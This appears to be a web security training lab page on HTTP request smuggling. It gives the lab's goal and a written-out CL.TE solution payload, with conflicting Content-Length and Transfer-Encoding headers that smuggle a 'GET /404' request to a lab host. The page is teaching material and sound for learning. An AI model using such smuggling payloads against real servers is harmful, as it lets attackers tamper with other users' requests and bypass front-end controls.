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Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses


This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.


Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.


Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.


Using Burp Repeater, issue the following request twice:

POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 35 Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 X-Ignore: X

The second request should receive an HTTP 404 response.

Community solutions

Michael Sommer